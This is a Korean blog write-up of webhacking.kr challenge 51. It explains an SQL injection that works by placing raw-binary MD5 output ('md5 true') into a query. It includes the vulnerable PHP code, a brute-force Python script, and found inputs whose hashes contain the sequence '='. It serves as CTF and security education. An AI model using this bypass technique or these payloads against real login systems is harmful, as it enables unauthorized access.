[webhacking.kr] 51번 문제 풀이[MD5 true 취약점]
💡 Webhacking.kr challenge(old) 51번 문제에 대한 풀이입니다.
문제
<?php
if($_POST['id'] && $_POST['pw']){
$db = dbconnect();
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
if($result['id']) solve(51);
if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
}
?>
md5 함수
이번 문제를 풀기 위해서는 md5 함수를 사용할 때, True 옵션에 대해서 알아야 합니다.
md5 함수는 주어진 문자열에 대한 md5 해시 값을 구해주는 함수 입니다.
md5(string $string, bool $binary = false): string
# $string : 해시를 할 문자열
# $binary : true로 설정하면, md5를 raw binary로 출력
다음 처럼 php 코드를 확인해 보면 쉽게 이해하실 수 있습니다. md5함수를 그냥 사용하면 16진수로 해시값을 출력해주고, true 옵션을 주면 raw binary로 출력해 줍니다.
<?php
$pw = "password";
echo "md5 default : ".md5($pw)."<br>";
echo "md5 True : ".md5($pw,true)."<br>";
?>
md5 true 취약점
md5 true 취약점은 binary로 반환된 문자열이 db의 쿼리문으로 그래도 들어갈 때 발생합니다.
해당 문제를 보면 pw를 md5 true로 해시된 바이너리 값을 그대로 DB의 쿼리로 사용함을 알 수 있습니다.
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
이때 md5로 해시된 바이너리 값에 '
나 다른 문자가 나오도록 한다면 악의적으로 쿼리문을 조작할 수 있는 것입니다.
더 쉽게 이해를 하기 위해 예시를 보여드리겠습니다. chall51 테이블에는 다음과 같은 데이터를 넣습니다.
해당 취약점을 이용하기 위해서는 다음의 쿼리문 결과를 이해하셔야 합니다.
‘or’숫자
위의 쿼리문은 or 앞에는 거짓이 되고, 뒷부분은 True이기 때문에 전체가 True가 됩니다. mysql에서는 참거짓을 판단할 때, 문자열이 오면 맨 첫 자리만을 보고 검사를 합니다. 이 때, 맨 첫자리가 1-9이면 True를, 0과 다른 문자들은 모두 False를 반환합니다.
이때 뒤의 문자열의 첫 숫자는 1-9여야만 합니다. 다음처럼 0이나, 다른 문자가 오면 위의 방법이 되지 않음을 주의해야 합니다.
’=’문자
이 부분도 뒷부분에서 ‘rmaodsa’는 맨 앞부분이 숫자가 아니고 문자이기 때문에 참거짓 판단에서 FALSE가 됩니다. 따라서 뒷부분이 만약 숫자로 시작한다면 다음과 같이 공격이 되지 않음을 유의해야 합니다.
위의 개념을 이용하여 md5 true를 사용할 때 그 결과 값에서 ‘or’숫자 혹은 ’=’문자 가 나오도록 해시값을 준다면 문제를 풀 수 있습니다.
추가로 실제 공격에서 시도할 때는 ‘or’숫자는 찾기가 어렵습니다. 하나의 글자씩 보면 ‘ o r ‘ 숫자 로 5자리가 맞는 경우를 찾아야 하는데 이는 쉽지 않습니다. 반면 ‘=’는 세자리만 찾으면 되기 때문에(아스키 코드에서 보면 1-9 를 제외한 모든 경우가 문자이기 때문에 마지막에 오는 문자는 신경안써도 되는 수준) 훨씬 난이도가 낮습니다. 따라서 실제 공격에 사용할 때는 무조건 ‘=’ 문자를 이용합니다.
문제 풀이
파이썬을 통해서 해시 결과에 ‘=’를 포함하는 숫자들을 찾아봅니다.
from hashlib import md5
from tqdm import tqdm
from colorama import Fore
# '=' -> 0x27 0x3d 0x27
for i in range(1000000000):
raw_md5 = md5(str(i).encode("ascii")).digest()
if(b'\x27\x3d\x27' in raw_md5):
print(Fore.GREEN + '[+] ' + str(i) +' : ' + str(raw_md5))
파이썬 코드 실행 결과
[+] 1839431 : b"\xc37\x90\xa5\xaf\xc4\xb1A@J\xbe'='\xaa\xa9"
[+] 2584670 : b"\xdf\x8b\x12'='N/\xe6*{\xec\x18\x16\x931"
[+] 2632003 : b"\x1c\x12(\xcc'='6\xfaQE\x84\x0e\x96\xed\x99"
[+] 2998869 : b"\xfe\xb2'=':\xe9T\xea\xd6,p\xa7\x80\xf1\xe1"
[+] 4939073 : b"u}t'Q'='\x14\xd9\xe2\x8e\xec.\xd8\x8a"
[+] 5263117 : b"e'='\x80\xb0\xb4\xf6\x12\xd6M@KD\x06\xcb"
[+] 5273607 : b"\xb7\x94a\x9f\x10d\xbe\xc6\x87\x04\xf4;\xac'='"
..... 중략
위의 숫자들 중에서 2632003 인 경우에는 ‘=’6 으로 바로 다음에 숫자가 나왔기 때문에 풀리지 않습니다. 나머지 숫자중에 하나를 골라서 다음과 같이 문제를 풀어줍니다.
댓글남기기